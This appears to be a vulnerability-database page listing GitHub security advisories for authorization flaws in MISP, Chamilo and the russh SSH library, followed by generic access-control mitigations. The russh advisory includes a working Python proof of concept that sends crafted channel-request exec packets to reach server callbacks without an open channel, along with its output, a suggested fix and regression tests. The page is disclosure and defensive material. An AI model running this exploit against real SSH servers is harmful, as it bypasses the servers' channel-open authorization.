      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Actual Sync Server: CORS Proxy GitHub API Allowlist Prefix Bypass Leaks Private Repositories Through the Server GitHub Token"
}

GHSA-M62G-7V8J-3FWC

Vulnerability from github – Published: 2024-09-16 14:37 – Updated: 2024-09-17 18:33
VLAI
Details

app/Controller/UserLoginProfilesController.php in MISP before 2.4.198 does not prevent an org admin from viewing sensitive login fields of another org admin in the same org.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-46918"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-15T20:15:02Z",
    "severity": "CRITICAL"
  },
  "details": "app/Controller/UserLoginProfilesController.php in MISP before 2.4.198 does not prevent an org admin from viewing sensitive login fields of another org admin in the same org.",
  "id": "GHSA-m62g-7v8j-3fwc",
  "modified": "2024-09-17T18:33:25Z",
  "published": "2024-09-16T14:37:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-46918"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MISP/MISP/commit/3a5227d7b3d4518ac109af61979a00145a0de6fa"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MISP/MISP/compare/v2.4.197...v2.4.198"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M635-GPVM-5HCF

Vulnerability from github – Published: 2023-06-08 21:30 – Updated: 2024-04-04 04:40
VLAI
Details

Incorrect access control in Chamilo 1.11.* up to 1.11.18 allows a student subscribed to a given course to download documents belonging to another student if they know the document's ID.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-34958"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-08T19:15:09Z",
    "severity": "MODERATE"
  },
  "details": "Incorrect access control in Chamilo 1.11.* up to 1.11.18 allows a student subscribed to a given course to download documents belonging to another student if they know the document\u0027s ID.",
  "id": "GHSA-m635-gpvm-5hcf",
  "modified": "2024-04-04T04:40:45Z",
  "published": "2023-06-08T21:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34958"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chamilo/chamilo-lms/commit/0c1c29db18856a6f25e21d0405dda2c20b35ff3a"
    },
    {
      "type": "WEB",
      "url": "https://support.chamilo.org/projects/1/wiki/Security_issues#Issue-109-2023-04-15-Moderate-impact-Moderate-risk-IDOR-in-workstudent-publication"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M65R-RPRJ-R5RG

Vulnerability from github – Published: 2026-08-03 15:35 – Updated: 2026-08-03 15:35
VLAI
Summary
Russh: Channel-scoped server callbacks can be reached without an open channel
Details

There is a server-side channel state issue in russh.

After a client is authenticated, russh can dispatch channel-scoped handler callbacks for recipient channel IDs that were never opened or confirmed. In the strongest reproduced case, the client does not send SSH_MSG_CHANNEL_OPEN at all. It authenticates normally, then sends SSH_MSG_CHANNEL_REQUEST packets with request type exec for a range of recipient channel IDs. russh still calls the server application's exec_request handler.

This is not an authentication bypass. A valid login is required. The issue is that the SSH channel lifecycle is not enforced before channel-scoped callbacks are delivered to the application.

Impact

An authenticated client can bypass the server application's channel-open policy.

A server may deny session channels by returning false from Handler::channel_open_session. A server may also assume that callbacks such as exec_request, shell_request, subsystem_request, data, channel_eof, or channel_close are only delivered for channels that were opened and confirmed by the SSH transport layer.

That assumption does not hold in the vulnerable path. A malicious authenticated peer can send channel-scoped messages for arbitrary recipient channel IDs and cause handler callbacks to run even though no channel exists.

The exact impact depends on the downstream application. For many SSH server use cases, exec_request, shell_request, or subsystem_request start commands, jobs, shells, SFTP-like subsystems, internal workflows, or other state-changing operations. In the PoC, the protected exec_request action runs even though no channel was opened.

Why this is not intended behavior

SSH channel requests are not global post-authentication requests. They are operations on an existing channel.

RFC 4254 describes channel-specific messages as carrying a recipient channel number. The exec request is a SSH_MSG_CHANNEL_REQUEST for a session channel. That means the recipient channel should refer to a channel that exists in the local open-channel state.

The relevant boundary is therefore not password authentication. The boundary is the channel-open decision. If no channel has been opened, or if the application denied the open request, russh should not deliver session-specific callbacks for that recipient ID.

This is also not just a handler bug. The handler does not own the transport channel table. russh does. The application gets a channel_open_* callback and returns whether the channel is allowed. If that decision is denied, or if the client never requested a channel at all, channel-scoped callbacks should not be reachable.

Documentation and API boundary

The public API documentation supports this boundary.

channel_open_session is the application hook for creating a new session channel, and its boolean return value is the application's decision on whether that channel open should be granted. Separately, exec_request is the application hook for deciding what to do with a command request received on a channel.

Those are different responsibilities. The application can decide whether a command is allowed. The library must first decide whether the recipient channel exists and was actually opened.

Delivering exec_request for a recipient ChannelId that is absent from the established channel table bypasses the channel-open decision before the application can safely rely on it.

Root cause

In server_read_authenticated in russh/src/server/encrypted.rs, channel-scoped messages are decoded and then dispatched to handler callbacks without a mandatory check that the recipient channel is established in the encrypted session's channel table.

The problematic pattern is visible in the CHANNEL_REQUEST handling. The code reads the recipient channel ID and request fields. It may look up the channel to send an internal ChannelMsg into the stream API, but the handler callback is outside that guard.

For example, the exec branch has this shape:

"exec" => {
    let req = map_err!(Bytes::decode(r))?;
    map_err!(ensure_end(r))?;

    if let Some(chan) = self.channels.get(&channel_num) {
        let _ = chan
            .send(ChannelMsg::Exec {
                want_reply: true,
                command: req.to_vec(),
            })
            .await;
    }

    handler.exec_request(channel_num, &req, self).await
}

If channel_num is not open, the internal send is skipped, but handler.exec_request(...) is still called.

The same issue applies to other channel-scoped callbacks such as shell_request, subsystem_request, env_request, pty_request, data, extended_data, channel_eof, and channel_close.

There is a second related problem in server_handle_channel_open. The application-side channel reference can be inserted into self.channels even when the handler returns Ok(false). The protocol table enc.channels is only populated when the open is actually allowed. This means the two maps can diverge after a denied open.

The authoritative source for whether a channel is established should be enc.channels, not self.channels.

Evidence from the PoC

The PoC uses a real russh server over localhost TCP. It uses real authentication with username alice and password correct. Paramiko is used only as an authenticated SSH peer that can send crafted packets over the real encrypted SSH transport.

POC Code :

import argparse
import sys
import time

import paramiko
from paramiko.common import MSG_CHANNEL_REQUEST, cMSG_CHANNEL_REQUEST
from paramiko.message import Message
from paramiko.ssh_exception import ChannelException

CHANNEL_SCAN_END = 32


def connect(port: int) -> paramiko.Transport:
    transport = paramiko.Transport(("127.0.0.1", port))
    transport.connect(username="alice", password="correct")
    return transport


def normal_allowed(port: int) -> None:
    transport = connect(port)
    print("normal client: CHANNEL_OPEN session")
    channel = transport.open_session(timeout=5)
    print("normal client: session open confirmed")
    print('normal client: exec "protected"')
    channel.exec_command("protected")
    time.sleep(0.25)
    channel.close()
    transport.close()


def normal_denied(port: int) -> None:
    transport = connect(port)
    print("normal client: CHANNEL_OPEN session")
    try:
        transport.open_session(timeout=5)
    except ChannelException:
        print("normal client: session open denied")
        pass
    else:
        raise RuntimeError("normal denied control unexpectedly opened a session channel")
    time.sleep(0.25)
    transport.close()


def send_exec_request(transport: paramiko.Transport, recipient_channel: int) -> None:
    print(
        "crafted packet: "
        f"SSH_MSG_CHANNEL_REQUEST({MSG_CHANNEL_REQUEST}) "
        f"recipient_channel={recipient_channel} "
        'request_type="exec" '
        'command="protected"'
    )
    msg = Message()
    msg.add_byte(cMSG_CHANNEL_REQUEST)
    msg.add_int(recipient_channel)
    msg.add_string("exec")
    msg.add_boolean(True)
    msg.add_string(b"protected")
    transport._send_user_message(msg)


def exploit_denied(port: int) -> None:
    transport = connect(port)
    print("malicious peer: CHANNEL_OPEN session")
    try:
        transport.open_session(timeout=5)
    except ChannelException:
        print("malicious peer: session open denied")
    else:
        raise RuntimeError("exploit setup unexpectedly opened a session channel")

    print(f"malicious peer: scanning recipient channel ids 0..{CHANNEL_SCAN_END - 1}")
    for channel_id in range(CHANNEL_SCAN_END):
        send_exec_request(transport, channel_id)
        time.sleep(0.01)
    time.sleep(0.5)
    transport.close()


def exploit_without_open(port: int) -> None:
    transport = connect(port)
    print("malicious peer: no CHANNEL_OPEN sent")
    print(f"malicious peer: scanning recipient channel ids 0..{CHANNEL_SCAN_END - 1}")
    for channel_id in range(CHANNEL_SCAN_END):
        send_exec_request(transport, channel_id)
        time.sleep(0.01)
    time.sleep(0.5)
    transport.close()


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "--mode",
        choices=["allowed", "denied", "denied-open", "noopen"],
        required=True,
    )
    parser.add_argument("--port", type=int, required=True)
    args = parser.parse_args()

    if args.mode == "allowed":
        normal_allowed(args.port)
    elif args.mode == "denied":
        normal_denied(args.port)
    elif args.mode == "noopen":
        exploit_without_open(args.port)
    else:
        exploit_denied(args.port)
    return 0


if __name__ == "__main__":
    sys.exit(main())

The crafted packet form is:

SSH_MSG_CHANNEL_REQUEST(98)
recipient_channel = N
request_type = "exec"
command = "protected"

The PoC runs normal controls and exploit cases in one execution.

Allowed control

This proves the protected action works normally when a session channel is opened.

normal client: CHANNEL_OPEN session
normal client: session open confirmed
normal client: exec "protected"

channel_open_session called: 1
exec_request called: 1
protected action executed: 1
channel ever opened/confirmed: true
working recipient channel ids: [2]

Denied control

This proves the application policy denies session channels and a normal client cannot reach the protected action.

normal client: CHANNEL_OPEN session
normal client: session open denied

channel_open_session called: 1
exec_request called: 0
protected action executed: 0
channel ever opened/confirmed: false
working recipient channel ids: none

Main exploit: no channel open

This is the main issue.

The authenticated client does not send SSH_MSG_CHANNEL_OPEN. It sends crafted SSH_MSG_CHANNEL_REQUEST packets for recipient IDs 0..31.

malicious peer: no CHANNEL_OPEN sent
malicious peer: scanning recipient channel ids 0..31

channel_open_session called: 0
exec_request called: 32
protected action executed: 32
channel ever opened/confirmed: false
working recipient channel ids: [0, 1, 2, ..., 31]

This removes the "guessed channel ID" concern. Every scanned recipient ID reached the protected action in the vulnerable run.

Additional variant: denied open

The client asks for a session channel, the handler denies it, and the client then sends the same crafted requests.

malicious peer: CHANNEL_OPEN session
malicious peer: session open denied

channel_open_session called: 1
exec_request called: 32
protected action executed: 32
channel ever opened/confirmed: false
working recipient channel ids: [0, 1, 2, ..., 31]

The denied-open variant is not required for exploitability, but it shows the same state validation gap after an explicit application denial.

Affected code path

Verified at:

f1a0f180a02ccedf48d86f2c5e0361308cf6b7c6
v0.61.1-9-gf1a0f18

The affected logic is in:

russh/src/server/encrypted.rs

The vulnerable area is:

server_read_authenticated

Channel request dispatch decodes a recipient channel ID and calls request-specific handler callbacks without first requiring that the recipient ID exists as a confirmed channel in enc.channels.

The affected request callbacks include:

pty_request
x11_request
env_request
shell_request
agent_request
exec_request
subsystem_request
window_change_request
signal

The same missing established-channel guard affects:

CHANNEL_DATA
CHANNEL_EXTENDED_DATA
CHANNEL_EOF
CHANNEL_CLOSE

A related issue exists in:

server_handle_channel_open

Application channel references should not be retained for denied opens.

Why this belongs in russh

The application cannot reliably enforce the SSH transport channel lifecycle from inside individual callbacks. By the time exec_request is called, the application is already being told that a channel-scoped request exists. The library should not call that handler for a channel ID that does not exist in the confirmed channel table.

This is the same kind of invariant russh already applies for some channel state updates. The missing part is to apply the established-channel check consistently before all channel-scoped callbacks are dispatched.

The safe expectation is simple:

No established channel, no channel-scoped handler callback.

Suggested fix

Before dispatching any channel-scoped callback, require the recipient ChannelId to exist in the encrypted session's established channel table and to be confirmed.

The authoritative check should use enc.channels, not self.channels.

A minimal approach is to add a helper like:

fn ensure_established_channel(&self, channel: ChannelId) -> Result<(), Error> {
    if self
        .common
        .encrypted
        .as_ref()
        .and_then(|enc| enc.channels.get(&channel))
        .is_some_and(|channel| channel.confirmed)
    {
        Ok(())
    } else {
        Err(Error::Inconsistent)
    }
}

Then call it before dispatching channel-scoped callbacks for:

CHANNEL_REQUEST
CHANNEL_DATA
CHANNEL_EXTENDED_DATA
CHANNEL_EOF
CHANNEL_CLOSE
CHANNEL_WINDOW_ADJUST

For unknown or unconfirmed channels, russh should not call application callbacks. The exact wire response can be request failure, ignore, or disconnect depending on the existing protocol-error handling for that message type.

The channel-open path should also retain application-side channel references only when the open is approved:

let mut result = handler.channel_open_session(channel, self).await;

if let Ok(allowed) = &mut result {
    if *allowed {
        self.channels.insert(sender_channel, reference);
    }

    self.finalize_channel_open(&msg, channel_params, *allowed)?;
}

Regression coverage

A regression test should authenticate normally, then verify that callbacks are not reached in these cases:

1. CHANNEL_REQUEST "exec" without prior CHANNEL_OPEN
2. CHANNEL_OPEN "session" denied by the handler, then CHANNEL_REQUEST "exec"
3. CHANNEL_DATA without prior CHANNEL_OPEN
4. CHANNEL_EOF / CHANNEL_CLOSE without prior CHANNEL_OPEN

The test should fail if any channel-scoped callback such as exec_request, shell_request, subsystem_request, data, channel_eof, or channel_close is invoked for a non-established channel.

A positive control should confirm that a normally opened session channel still reaches the expected callbacks.

In the local validation, the targeted regression passed after the patch:

cargo test -p russh --test channel_state_validation

The full workspace also passed:

cargo test --workspace

Duplicate check

I checked existing Eugeny/russh advisories and issue searches for terms related to:

CHANNEL_REQUEST
exec_request
channel_open_session denied
unopened channel
server_handle_channel_open
channel request handler

Existing advisories cover unrelated authentication, parser, allocation, window-adjust, Terrapin, and cryptographic issues. I did not find an existing advisory or issue for channel-scoped callbacks being dispatched for unopened or denied recipient channel IDs.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.62.4"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "russh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.62.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-68930"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-666",
      "CWE-696",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-03T15:35:00Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "There is a server-side channel state issue in `russh`.\n\nAfter a client is authenticated, `russh` can dispatch channel-scoped handler callbacks for recipient channel IDs that were never opened or confirmed. In the strongest reproduced case, the client does not send `SSH_MSG_CHANNEL_OPEN` at all. It authenticates normally, then sends `SSH_MSG_CHANNEL_REQUEST` packets with request type `exec` for a range of recipient channel IDs. `russh` still calls the server application\u0027s `exec_request` handler.\n\nThis is not an authentication bypass. A valid login is required. The issue is that the SSH channel lifecycle is not enforced before channel-scoped callbacks are delivered to the application.\n\n## Impact\n\nAn authenticated client can bypass the server application\u0027s channel-open policy.\n\nA server may deny session channels by returning `false` from `Handler::channel_open_session`. A server may also assume that callbacks such as `exec_request`, `shell_request`, `subsystem_request`, `data`, `channel_eof`, or `channel_close` are only delivered for channels that were opened and confirmed by the SSH transport layer.\n\nThat assumption does not hold in the vulnerable path. A malicious authenticated peer can send channel-scoped messages for arbitrary recipient channel IDs and cause handler callbacks to run even though no channel exists.\n\nThe exact impact depends on the downstream application. For many SSH server use cases, `exec_request`, `shell_request`, or `subsystem_request` start commands, jobs, shells, SFTP-like subsystems, internal workflows, or other state-changing operations. In the PoC, the protected `exec_request` action runs even though no channel was opened.\n\n## Why this is not intended behavior\n\nSSH channel requests are not global post-authentication requests. They are operations on an existing channel.\n\nRFC 4254 describes channel-specific messages as carrying a recipient channel number. The `exec` request is a `SSH_MSG_CHANNEL_REQUEST` for a session channel. That means the recipient channel should refer to a channel that exists in the local open-channel state.\n\nThe relevant boundary is therefore not password authentication. The boundary is the channel-open decision. If no channel has been opened, or if the application denied the open request, `russh` should not deliver session-specific callbacks for that recipient ID.\n\nThis is also not just a handler bug. The handler does not own the transport channel table. `russh` does. The application gets a `channel_open_*` callback and returns whether the channel is allowed. If that decision is denied, or if the client never requested a channel at all, channel-scoped callbacks should not be reachable.\n\n## Documentation and API boundary\n\nThe public API documentation supports this boundary.\n\n`channel_open_session` is the application hook for creating a new session channel, and its boolean return value is the application\u0027s decision on whether that channel open should be granted. Separately, `exec_request` is the application hook for deciding what to do with a command request received on a channel.\n\nThose are different responsibilities. The application can decide whether a command is allowed. The library must first decide whether the recipient channel exists and was actually opened.\n\nDelivering `exec_request` for a recipient `ChannelId` that is absent from the established channel table bypasses the channel-open decision before the application can safely rely on it.\n\n## Root cause\n\nIn `server_read_authenticated` in `russh/src/server/encrypted.rs`, channel-scoped messages are decoded and then dispatched to handler callbacks without a mandatory check that the recipient channel is established in the encrypted session\u0027s channel table.\n\nThe problematic pattern is visible in the `CHANNEL_REQUEST` handling. The code reads the recipient channel ID and request fields. It may look up the channel to send an internal `ChannelMsg` into the stream API, but the handler callback is outside that guard.\n\nFor example, the `exec` branch has this shape:\n\n```rust\n\"exec\" =\u003e {\n    let req = map_err!(Bytes::decode(r))?;\n    map_err!(ensure_end(r))?;\n\n    if let Some(chan) = self.channels.get(\u0026channel_num) {\n        let _ = chan\n            .send(ChannelMsg::Exec {\n                want_reply: true,\n                command: req.to_vec(),\n            })\n            .await;\n    }\n\n    handler.exec_request(channel_num, \u0026req, self).await\n}\n```\n\nIf `channel_num` is not open, the internal send is skipped, but `handler.exec_request(...)` is still called.\n\nThe same issue applies to other channel-scoped callbacks such as `shell_request`, `subsystem_request`, `env_request`, `pty_request`, `data`, `extended_data`, `channel_eof`, and `channel_close`.\n\nThere is a second related problem in `server_handle_channel_open`. The application-side channel reference can be inserted into `self.channels` even when the handler returns `Ok(false)`. The protocol table `enc.channels` is only populated when the open is actually allowed. This means the two maps can diverge after a denied open.\n\nThe authoritative source for whether a channel is established should be `enc.channels`, not `self.channels`.\n\n## Evidence from the PoC\n\nThe PoC uses a real `russh` server over localhost TCP. It uses real authentication with username `alice` and password `correct`. Paramiko is used only as an authenticated SSH peer that can send crafted packets over the real encrypted SSH transport.\n\nPOC Code :\n\n```python\nimport argparse\nimport sys\nimport time\n\nimport paramiko\nfrom paramiko.common import MSG_CHANNEL_REQUEST, cMSG_CHANNEL_REQUEST\nfrom paramiko.message import Message\nfrom paramiko.ssh_exception import ChannelException\n\nCHANNEL_SCAN_END = 32\n\n\ndef connect(port: int) -\u003e paramiko.Transport:\n    transport = paramiko.Transport((\"127.0.0.1\", port))\n    transport.connect(username=\"alice\", password=\"correct\")\n    return transport\n\n\ndef normal_allowed(port: int) -\u003e None:\n    transport = connect(port)\n    print(\"normal client: CHANNEL_OPEN session\")\n    channel = transport.open_session(timeout=5)\n    print(\"normal client: session open confirmed\")\n    print(\u0027normal client: exec \"protected\"\u0027)\n    channel.exec_command(\"protected\")\n    time.sleep(0.25)\n    channel.close()\n    transport.close()\n\n\ndef normal_denied(port: int) -\u003e None:\n    transport = connect(port)\n    print(\"normal client: CHANNEL_OPEN session\")\n    try:\n        transport.open_session(timeout=5)\n    except ChannelException:\n        print(\"normal client: session open denied\")\n        pass\n    else:\n        raise RuntimeError(\"normal denied control unexpectedly opened a session channel\")\n    time.sleep(0.25)\n    transport.close()\n\n\ndef send_exec_request(transport: paramiko.Transport, recipient_channel: int) -\u003e None:\n    print(\n        \"crafted packet: \"\n        f\"SSH_MSG_CHANNEL_REQUEST({MSG_CHANNEL_REQUEST}) \"\n        f\"recipient_channel={recipient_channel} \"\n        \u0027request_type=\"exec\" \u0027\n        \u0027command=\"protected\"\u0027\n    )\n    msg = Message()\n    msg.add_byte(cMSG_CHANNEL_REQUEST)\n    msg.add_int(recipient_channel)\n    msg.add_string(\"exec\")\n    msg.add_boolean(True)\n    msg.add_string(b\"protected\")\n    transport._send_user_message(msg)\n\n\ndef exploit_denied(port: int) -\u003e None:\n    transport = connect(port)\n    print(\"malicious peer: CHANNEL_OPEN session\")\n    try:\n        transport.open_session(timeout=5)\n    except ChannelException:\n        print(\"malicious peer: session open denied\")\n    else:\n        raise RuntimeError(\"exploit setup unexpectedly opened a session channel\")\n\n    print(f\"malicious peer: scanning recipient channel ids 0..{CHANNEL_SCAN_END - 1}\")\n    for channel_id in range(CHANNEL_SCAN_END):\n        send_exec_request(transport, channel_id)\n        time.sleep(0.01)\n    time.sleep(0.5)\n    transport.close()\n\n\ndef exploit_without_open(port: int) -\u003e None:\n    transport = connect(port)\n    print(\"malicious peer: no CHANNEL_OPEN sent\")\n    print(f\"malicious peer: scanning recipient channel ids 0..{CHANNEL_SCAN_END - 1}\")\n    for channel_id in range(CHANNEL_SCAN_END):\n        send_exec_request(transport, channel_id)\n        time.sleep(0.01)\n    time.sleep(0.5)\n    transport.close()\n\n\ndef main() -\u003e int:\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        \"--mode\",\n        choices=[\"allowed\", \"denied\", \"denied-open\", \"noopen\"],\n        required=True,\n    )\n    parser.add_argument(\"--port\", type=int, required=True)\n    args = parser.parse_args()\n\n    if args.mode == \"allowed\":\n        normal_allowed(args.port)\n    elif args.mode == \"denied\":\n        normal_denied(args.port)\n    elif args.mode == \"noopen\":\n        exploit_without_open(args.port)\n    else:\n        exploit_denied(args.port)\n    return 0\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\nThe crafted packet form is:\n\n```text\nSSH_MSG_CHANNEL_REQUEST(98)\nrecipient_channel = N\nrequest_type = \"exec\"\ncommand = \"protected\"\n```\n\nThe PoC runs normal controls and exploit cases in one execution.\n\n### Allowed control\n\nThis proves the protected action works normally when a session channel is opened.\n\n```text\nnormal client: CHANNEL_OPEN session\nnormal client: session open confirmed\nnormal client: exec \"protected\"\n\nchannel_open_session called: 1\nexec_request called: 1\nprotected action executed: 1\nchannel ever opened/confirmed: true\nworking recipient channel ids: [2]\n```\n\n### Denied control\n\nThis proves the application policy denies session channels and a normal client cannot reach the protected action.\n\n```text\nnormal client: CHANNEL_OPEN session\nnormal client: session open denied\n\nchannel_open_session called: 1\nexec_request called: 0\nprotected action executed: 0\nchannel ever opened/confirmed: false\nworking recipient channel ids: none\n```\n\n### Main exploit: no channel open\n\nThis is the main issue.\n\nThe authenticated client does not send `SSH_MSG_CHANNEL_OPEN`. It sends crafted `SSH_MSG_CHANNEL_REQUEST` packets for recipient IDs `0..31`.\n\n```text\nmalicious peer: no CHANNEL_OPEN sent\nmalicious peer: scanning recipient channel ids 0..31\n\nchannel_open_session called: 0\nexec_request called: 32\nprotected action executed: 32\nchannel ever opened/confirmed: false\nworking recipient channel ids: [0, 1, 2, ..., 31]\n```\n\nThis removes the \"guessed channel ID\" concern. Every scanned recipient ID reached the protected action in the vulnerable run.\n\n### Additional variant: denied open\n\nThe client asks for a session channel, the handler denies it, and the client then sends the same crafted requests.\n\n```text\nmalicious peer: CHANNEL_OPEN session\nmalicious peer: session open denied\n\nchannel_open_session called: 1\nexec_request called: 32\nprotected action executed: 32\nchannel ever opened/confirmed: false\nworking recipient channel ids: [0, 1, 2, ..., 31]\n```\n\nThe denied-open variant is not required for exploitability, but it shows the same state validation gap after an explicit application denial.\n\n## Affected code path\n\nVerified at:\n\n```text\nf1a0f180a02ccedf48d86f2c5e0361308cf6b7c6\nv0.61.1-9-gf1a0f18\n```\n\nThe affected logic is in:\n\n```text\nrussh/src/server/encrypted.rs\n```\n\nThe vulnerable area is:\n\n```text\nserver_read_authenticated\n```\n\nChannel request dispatch decodes a recipient channel ID and calls request-specific handler callbacks without first requiring that the recipient ID exists as a confirmed channel in `enc.channels`.\n\nThe affected request callbacks include:\n\n```text\npty_request\nx11_request\nenv_request\nshell_request\nagent_request\nexec_request\nsubsystem_request\nwindow_change_request\nsignal\n```\n\nThe same missing established-channel guard affects:\n\n```text\nCHANNEL_DATA\nCHANNEL_EXTENDED_DATA\nCHANNEL_EOF\nCHANNEL_CLOSE\n```\n\nA related issue exists in:\n\n```text\nserver_handle_channel_open\n```\nApplication channel references should not be retained for denied opens.\n\n## Why this belongs in russh\n\nThe application cannot reliably enforce the SSH transport channel lifecycle from inside individual callbacks. By the time `exec_request` is called, the application is already being told that a channel-scoped request exists. The library should not call that handler for a channel ID that does not exist in the confirmed channel table.\n\nThis is the same kind of invariant `russh` already applies for some channel state updates. The missing part is to apply the established-channel check consistently before all channel-scoped callbacks are dispatched.\n\nThe safe expectation is simple:\n\n```text\nNo established channel, no channel-scoped handler callback.\n```\n\n## Suggested fix\n\nBefore dispatching any channel-scoped callback, require the recipient `ChannelId` to exist in the encrypted session\u0027s established channel table and to be confirmed.\n\nThe authoritative check should use `enc.channels`, not `self.channels`.\n\nA minimal approach is to add a helper like:\n\n```rust\nfn ensure_established_channel(\u0026self, channel: ChannelId) -\u003e Result\u003c(), Error\u003e {\n    if self\n        .common\n        .encrypted\n        .as_ref()\n        .and_then(|enc| enc.channels.get(\u0026channel))\n        .is_some_and(|channel| channel.confirmed)\n    {\n        Ok(())\n    } else {\n        Err(Error::Inconsistent)\n    }\n}\n```\n\nThen call it before dispatching channel-scoped callbacks for:\n\n```text\nCHANNEL_REQUEST\nCHANNEL_DATA\nCHANNEL_EXTENDED_DATA\nCHANNEL_EOF\nCHANNEL_CLOSE\nCHANNEL_WINDOW_ADJUST\n```\n\nFor unknown or unconfirmed channels, `russh` should not call application callbacks. The exact wire response can be request failure, ignore, or disconnect depending on the existing protocol-error handling for that message type.\n\nThe channel-open path should also retain application-side channel references only when the open is approved:\n\n```rust\nlet mut result = handler.channel_open_session(channel, self).await;\n\nif let Ok(allowed) = \u0026mut result {\n    if *allowed {\n        self.channels.insert(sender_channel, reference);\n    }\n\n    self.finalize_channel_open(\u0026msg, channel_params, *allowed)?;\n}\n```\n\n## Regression coverage\n\nA regression test should authenticate normally, then verify that callbacks are not reached in these cases:\n\n```text\n1. CHANNEL_REQUEST \"exec\" without prior CHANNEL_OPEN\n2. CHANNEL_OPEN \"session\" denied by the handler, then CHANNEL_REQUEST \"exec\"\n3. CHANNEL_DATA without prior CHANNEL_OPEN\n4. CHANNEL_EOF / CHANNEL_CLOSE without prior CHANNEL_OPEN\n```\n\nThe test should fail if any channel-scoped callback such as `exec_request`, `shell_request`, `subsystem_request`, `data`, `channel_eof`, or `channel_close` is invoked for a non-established channel.\n\nA positive control should confirm that a normally opened session channel still reaches the expected callbacks.\n\nIn the local validation, the targeted regression passed after the patch:\n\n```text\ncargo test -p russh --test channel_state_validation\n```\n\nThe full workspace also passed:\n\n```text\ncargo test --workspace\n```\n## Duplicate check\n\nI checked existing `Eugeny/russh` advisories and issue searches for terms related to:\n\n```text\nCHANNEL_REQUEST\nexec_request\nchannel_open_session denied\nunopened channel\nserver_handle_channel_open\nchannel request handler\n```\n\nExisting advisories cover unrelated authentication, parser, allocation, window-adjust, Terrapin, and cryptographic issues. I did not find an existing advisory or issue for channel-scoped callbacks being dispatched for unopened or denied recipient channel IDs.",
  "id": "GHSA-m65r-rprj-r5rg",
  "modified": "2026-08-03T15:35:00Z",
  "published": "2026-08-03T15:35:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Eugeny/russh/security/advisories/GHSA-m65r-rprj-r5rg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Eugeny/russh/commit/7c5659f8cf6f6f2f9989d12dba0ebf49dc50a171"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Eugeny/russh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Eugeny/russh/releases/tag/v0.62.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Russh: Channel-scoped server callbacks can be reached without an open channel"
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.